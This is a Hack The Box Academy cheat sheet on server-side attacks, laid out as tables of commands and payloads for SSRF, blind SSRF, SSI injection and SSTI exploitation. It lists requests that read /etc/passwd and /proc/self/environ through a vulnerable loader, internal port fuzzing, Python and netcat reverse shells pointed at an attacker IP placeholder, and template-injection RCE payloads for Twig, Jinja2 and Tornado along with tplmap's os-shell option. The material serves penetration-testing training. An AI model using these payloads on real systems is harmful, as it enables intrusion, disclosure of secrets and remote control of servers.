HACKTHEBOX

SERVER-SIDE ATTACKS

CHEAT SHEET

HTB ACADEMY CHEATSHEET

Nginx Reverse Proxy & AJP

Command	Description
`wget https://nginx.org/download/nginx-1.21.3.tar.gz`	Downloading nginx
`tar -xzvf nginx-1.21.3.tar.gz`	Extracting nginx tar file
`git clone https://github.com/dvershinin/nginx_ajp_module.git`	Cloning nginx_ajp source code
`cd nginx-1.21.3`	Navigating to nginx directory
`./configure --add-module=$(pwd)/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules`	Setting up the configuration for building and installing Nginx web server
`make`	GNU make utility to maintain groups of programs
`sudo make install`	Instructing the make command to execute the installation target defined in the make file
`sudo nginx`	Starting the nginx server

SSRF Exploitation Example

Command	Description
`nmap -sT -T5 --min-rate=10000 -p- 10.129.201.238`	Scanning the ports of the external target

Command	Description
`curl -i -s -L http://<TARGET IP>`	Interacting with the target and following redirects
`nc -lvnp 8080`	Starting a netcat listener to test for SSRF
`curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"`	Testing for SSRF vulnerability
`python3 -m http.server 9090`	Starting the python web server
`sudo pip3 install twisted`	Installing the ftp server
`sudo python3 -m twisted ftp -p 21 -r .`	Starting the ftp server
`curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"`	Retrieving a remote file through the target application (HTTP Schema)
`curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"`	Retrieving a local file through the target application (File Schema)
`for port in {1..65535};do echo $port >> ports.txt;done`	Generating a wordlist of possible ports
`ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30`	Fuzzing for ports on the internal interface
`curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"`	Interacting with the internal interface on the discovered port
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"`	Interacting with the internal application
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"`	Discovering web application listening in on localhost
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http:////127.0.0.1:1"`	Modifying the URL to bypass the error message
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file://///proc/self/environ" -o -`	Requesting to disclose the /proc/self/environ file on the internal application
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file://///app/internal_local.py"`	Retrieving a local file through the target application

Command	Description
`curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http:////127.0.0.1:5000/runme?x=whoami"`	Confirming remote code exeuction on the remote host
`sudo apt-get install jq`	Installing jq

Blind SSRF Exploitation Example

Command	Description
`nc -lvnp 9090`	Starting a netcat listener
`echo """<B64 encoded response>""" | base64 -d`	Decoding the base64 encoded response
`export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'`	Reverse shell payload (to be URL encoaded twice)

SSI Injection Exploitation Example

SSI Directive Payload	Description
`<!--#echo var="DATE_LOCAL" -->`	Date
`<!--#printenv -->`	All variables
`<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->`	Reverse Shell

SSTI Exploitation Example 1

Command	Description

Command	Description
`git clone https://github.com/epinna/tplmap.git`	Cloning the tplmap repoistory
`cd tplmap`	Navigating to the new directory
`pip install virtualenv`	Installing the virtual environment with pip
`virtualenv -p python2 venv`	Creating a virtual environment named venv with python2
`source venv/bin/activate`	Activating a Python virtual environment, configuring the shell to use the virtual environment's Python interpreter
`pip install -r requirements.txt`	Installing dependencies
`./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john`	Running tplmap against the target
`./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell`	Running tplmap with the os-shell option
`{{_self.env.registerUndefinedFilterCallback("system")}} {{_self.env.getFilter("id;uname -a;hostname")}}`	Twig RCE payload

SSTI Exploitation Example 2

Command	Description
`curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam`	Interacting with the remote target (Spring payload)
`curl -X POST -d 'email={{_self.env.display("TEST")}}' http://<TARGET IP>:<PORT>/jointheteam`	Interacting with the remote target (Twig payload)
`curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteam`	Interacting with the remote target (Jinja2 basic injection)
`curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam`	Interacting with the remote target (Jinja2 dump all classes payload)
`curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam`	Interacting with the remote target (Tornado payload)

Command	Description
`./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah`	Automating the exploitation process with tplmap

SSTI Exploitation Example 3

Command	Description
`curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}"`	Interacting with the remote target (Confirming Jinja2 backend)
`./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd'`	Automating the templating engine identification process with tplmap
`python3`	Starting the python3 interpreter

Methods	Description
`__class__`	Returns the object (class) to which the type belongs
`__mro__`	Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples.
`__subclasses__`	Each new class retains references to subclasses, and this method returns a list of references that are still available in the class
`__builtins__`	Returns the builtin methods included in a function
`__globals__`	A reference to a dictionary that contains global variables for a function
`__base__`	Returns the base class inherited by the object
`__init__`	Class initialization method